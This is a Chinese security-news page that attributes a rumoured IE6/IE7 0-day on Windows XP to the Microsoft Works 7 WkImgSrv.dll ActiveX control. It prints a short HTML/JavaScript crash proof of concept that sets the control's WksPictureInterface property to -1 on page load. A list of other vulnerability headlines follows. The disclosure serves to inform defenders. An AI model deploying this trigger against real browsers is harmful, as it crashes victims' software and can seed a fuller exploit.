IE 0day漏洞问题出自MS Works

所属分类：网络安全 / 漏洞分析阅读数： 183

收藏 0赞 0分享

近几天网络上流传着一个传说为IE0DAY的POC代码，在XP系统环境下通杀了IE6和IE7，其它系统并未经过测试。其实这个漏洞并不是存在于IE，而是Microsoft Works的组件被挖掘出漏洞，部分的XP预装了Microsoft Works，所以就出现了过全补丁系统的漏洞（如华硕易PC 就预装了Microsoft Works）。
　　影响的DLL版本：Microsoft Works 7 WkImgSrv.dll （7.03.0616.0）　　以下为crash POC 　　<html>
　　<head>
　　<title>Microsoft Works 7 WkImgSrv.dll crash POC</title>
　　<script language=”JavaScript”>
function payload() {
var num = -1;
obj.WksPictureInterface = num;
}
　　</script>
　　</head>
　　<body onload=”JavaScript: return payload();”>
　　<object classid=”clsid:00E1DB59-6EFD-4CE7-8C0A-2DA3BCAAD9C6″ id=”obj”>
　　</object>
　　</body>
　　</html>

更多精彩内容其他人还在看

IE 0day漏洞问题出自MS Works

AOL Radio MediaPlaybackControl 控件栈溢出漏洞

2007年12月网络安全漏洞总结

OmniPCX Enterprise存在远程命令注入漏洞

Sun Java jpiexp32.dll对象名称含空指针引用漏洞

InterBase和Firebird远程栈缓冲区溢出漏洞

IE 存在document.open()方式地址欺骗漏洞

Microsoft IE onunload事件地址栏欺骗漏洞

F2blog XMLRPC 上传任意文件漏洞

FTP客户端目录遍历漏洞可向任意位置写文件

Adobe Photoshop Album Starter Edition BMP图形头处理缓冲区溢出漏洞

网络赚钱

站长故事

IE 0day漏洞 问题出自MS Works

AOL Radio MediaPlaybackControl 控件栈溢出漏洞

2007年12月网络安全漏洞总结

OmniPCX Enterprise存在远程命令注入漏洞

Sun Java jpiexp32.dll对象名称含空指针引用漏洞

InterBase和Firebird远程栈缓冲区溢出漏洞

IE 存在document.open()方式地址欺骗漏洞

Microsoft IE onunload事件地址栏欺骗漏洞

F2blog XMLRPC 上传任意文件漏洞

FTP客户端目录遍历漏洞可向任意位置写文件

Adobe Photoshop Album Starter Edition BMP图形头处理缓冲区溢出漏洞

网络赚钱

站长故事

IE 0day漏洞问题出自MS Works